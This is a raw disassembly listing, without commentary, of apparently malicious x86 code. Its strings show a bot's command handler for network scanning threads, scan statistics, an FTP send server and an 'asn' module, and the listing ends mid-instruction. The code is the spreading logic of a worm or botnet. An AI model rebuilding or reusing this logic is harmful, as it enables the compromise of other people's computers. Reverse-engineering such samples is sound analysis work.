N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4220AA: ; CODE XREF: sub_422050+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422050 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020BD sub_4220E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4220F5 mov edi, esi loc_4220F5: ; CODE XREF: ___:004220F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42210A mov edi, esi loc_42210A: ; CODE XREF: ___:00422106j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422130 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018E3 sub_422130 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422150 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422170 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422170 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422190 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221B0 proc near ; CODE XREF: sub_401D75j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018ED mov eax, esi pop esi retn 4 sub_4221B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4221E0 proc near ; CODE XREF: sub_401D48j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4221E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422210 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A2D add esp, 8 retn 8 sub_422210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422240 proc near ; CODE XREF: sub_401A1Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020B8 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40204F push esi mov ebx, eax call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [ebx] push esi mov [eax], edx call sub_401CF3 push esi mov ebx, eax call sub_40204F mov eax, [eax] push eax call sub_401CF3 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_401631 push esi mov ecx, edi call sub_401947 sub_422240 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422300 proc near ; CODE XREF: sub_401CF3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422300 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422320 proc near ; CODE XREF: sub_401DF2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_422320 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422350 proc near ; CODE XREF: sub_401546j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422350 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422370 proc near ; CODE XREF: sub_4017E9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40201D add esp, 8 retn 8 sub_422370 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223A0 proc near ; CODE XREF: sub_401519j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4223A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4223C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4223E0 proc near ; CODE XREF: sub_4020B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4223E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422410 proc near ; CODE XREF: sub_401B7Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019AB mov ecx, eax call sub_4018E8 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E60 push esi mov ecx, edi call sub_4021B7 sub_422410 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4224D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224F0 proc near ; CODE XREF: sub_4020BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_4224F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422520 proc near ; CODE XREF: sub_4018E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_422520 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422540 proc near ; CODE XREF: sub_4013DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401ED3 add esp, 8 retn 8 sub_422540 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422570 proc near ; CODE XREF: sub_4018EDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422570 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422590 proc near ; CODE XREF: sub_4018E8j mov eax, [ecx] retn sub_422590 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225B0 proc near ; CODE XREF: sub_4019ABj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40182A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4225B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225E0 proc near ; CODE XREF: sub_401631j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A78 pop ecx retn 4 sub_4225E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422600 proc near ; CODE XREF: sub_401E60j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401F9B pop ecx retn 4 sub_422600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422620 proc near ; CODE XREF: sub_401A2Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42263B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42263B: ; CODE XREF: sub_422620+11j retn sub_422620 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422650 proc near ; CODE XREF: sub_40201Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422650 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422691 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401677 loc_422691: ; CODE XREF: sub_422650+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422650 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_401ED3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4226E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422721 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014C9 loc_422721: ; CODE XREF: sub_4226E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4226E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_401A78j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019BA retn sub_422750 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422770 proc near ; CODE XREF: sub_401F9Bj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422770 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422790 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014C9 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422790 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227C0 proc near ; CODE XREF: sub_4019BAj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_4227D8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4227D8: ; CODE XREF: sub_4227C0+Dj mov eax, esi pop esi retn 4 sub_4227C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4227F0 proc near ; CODE XREF: sub_401AE1j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4227F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D5FCB, offset aAsn ; "asn" call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4227F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8D0C0h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422A40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422A40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422B0A push 3 call sub_401483 add esp, 4 test eax, eax jle short loc_422ADD push 3 call sub_401D8E mov eax, dword_50BB90[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422ADD: ; CODE XREF: sub_422A40+52j lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422B0A: ; CODE XREF: sub_422A40+40j lea ecx, [ebp+8D0C0h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422BB0 mov edi, dword_4D63B0 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4231BD mov edx, dword_44768F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 1Ch mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_422BB0: ; CODE XREF: sub_422A40+DFj lea ecx, [ebp+8D064h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422C30 push eax push 3 call sub_401D93 add esp, 8 test eax, eax jle short loc_422C05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C05: ; CODE XREF: sub_422A40+194j lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_422E39 ; --------------------------------------------------------------------------- loc_422C30: ; CODE XREF: sub_422A40+185j lea ecx, [ebp+8D036h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_422CDE push 3 call sub_401483 add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_443600 ; " " push 2 push eax call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017E4 push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422E56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_422CDE: ; CODE XREF: sub_422A40+20Bj lea ecx, [ebp+8D092h] call sub_4014D3 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422E39 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_444448 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422D69 mov eax, offset dword_444448 loc_422D55: ; CODE XREF: sub_422A40+327j cmp [eax+8], edi jb short loc_422D5F mov [esp+7A0h+var_78D], 1 loc_422D5F: ; CODE XREF: sub_422A40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422D55 loc_422D69: ; CODE XREF: sub_422A40+30Ej mov ebp, off_50FBF0 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5EDAB2 mov eax, dword_444448 add esp, 8 test eax, eax jz short loc_422DCF mov edi, offset dword_444450 loc_422D8F: ; CODE XREF: sub_422A40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5EDAB2 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx nop call near ptr 77C47920h mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422D8F loc_422DCF: ; CODE XREF: sub_422A40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5EDAB2 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx call near ptr 77C47920h nop mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422E29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014D3 push eax push 0 call sub_401523 add esp, 10h loc_422E29: ; CODE XREF: sub_422A40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422E39: ; CODE XREF: sub_422A40+1C0j ; sub_422A40+1EBj ... xor al, al loc_422E3B: ; CODE XREF: sub_422A40+98j ; sub_422A40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422E56: ; CODE XREF: sub_422A40+26Ej push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017E4 push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016AE mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_422F33 mov [esp+7A0h+var_658], ebp jmp short loc_422F43 ; --------------------------------------------------------------------------- loc_422F33: ; CODE XREF: sub_422A40+4E8j cmp eax, 3Ch jbe short loc_422F43 mov [esp+7A0h+var_658], 3Ch loc_422F43: ; CODE XREF: sub_422A40+4F1j ; sub_422A40+4F6j push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_422F9C mov [esp+7A0h+var_654], eax loc_422F9C: ; CODE XREF: sub_422A40+553j mov eax, dword_444448 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42306C mov ebp, offset dword_444448 jmp short loc_422FC2 ; --------------------------------------------------------------------------- loc_422FBF: ; CODE XREF: sub_422A40+602j or ebx, 0FFFFFFFFh loc_422FC2: ; CODE XREF: sub_422A40+57Dj push offset asc_443600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017E4 mov edi, eax lea ecx, [ebp-28h] loc_422FEC: ; CODE XREF: sub_422A40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423010 test al, al jz short loc_42300C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423010 add ecx, 2 add edi, 2 test al, al jnz short loc_422FEC loc_42300C: ; CODE XREF: sub_422A40+5B6j xor eax, eax jmp short loc_423014 ; --------------------------------------------------------------------------- loc_423010: ; CODE XREF: sub_422A40+5B2j ; sub_422A40+5C0j sbb eax, eax sbb eax, ebx loc_423014: ; CODE XREF: sub_422A40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42304A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_422FBF jmp short loc_423069 ; --------------------------------------------------------------------------- loc_42304A: ; CODE XREF: sub_422A40+5EFj mov ecx, [esp+7A0h+var_78C] mov [esp+7A0h+var_640], ecx lea eax, [ecx+ecx*2] lea eax, [eax+eax*4] mov edx, dword_444448[eax*4] mov [esp+7A0h+var_65C], edx loc_423069: ; CODE XREF: sub_422A40+608j or ebx, 0FFFFFFFFh loc_42306C: ; CODE XREF: sub_422A40+572j mov eax, [esp+7A0h+var_65C] test eax, eax jnz short loc_42308A lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanInvalidPor ; "scan: invalid port" jmp loc_4231A5 ; --------------------------------------------------------------------------- loc_42308A: ; CODE XREF: sub_422A40+635j push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push offset dword_443DD4 mov ecx, eax mov [esp+7A4h+var_4], 7 call sub_4013E3 lea ecx, [esp+7A0h+var_788] mov edi, eax mov [esp+7A0h+var_4], ebx call sub_401226 test edi, edi jz loc_423167 push offset asc_443600 ; " " lea eax, [esp+7A4h+var_788] push 5 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+7A0h+var_4], 8 call sub_4017E4 push eax lea ecx, [esp+7A4h+var_770] push 10h push ecx nop call near ptr 77C3FA76h add esp, 0Ch lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_443600 ; " " lea edx, [esp+7A4h+var_788] push 5 push edx mov ecx, esi call sub_4016AE push 78h mov ecx, eax mov [esp+7A4h+var_4], 9 call sub_4017E4 push eax nop call near ptr 77C47660h add esp, 8 lea ecx, [esp+7A0h+var_788] neg eax sbb eax, eax mov [esp+7A0h+var_4], ebx neg eax mov [esp+7A0h+var_630], eax call sub_401226 jmp loc_423296 ; --------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset dword_444584 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_444580 mov ecx, esi call sub_4013E3 test eax, eax jnz short 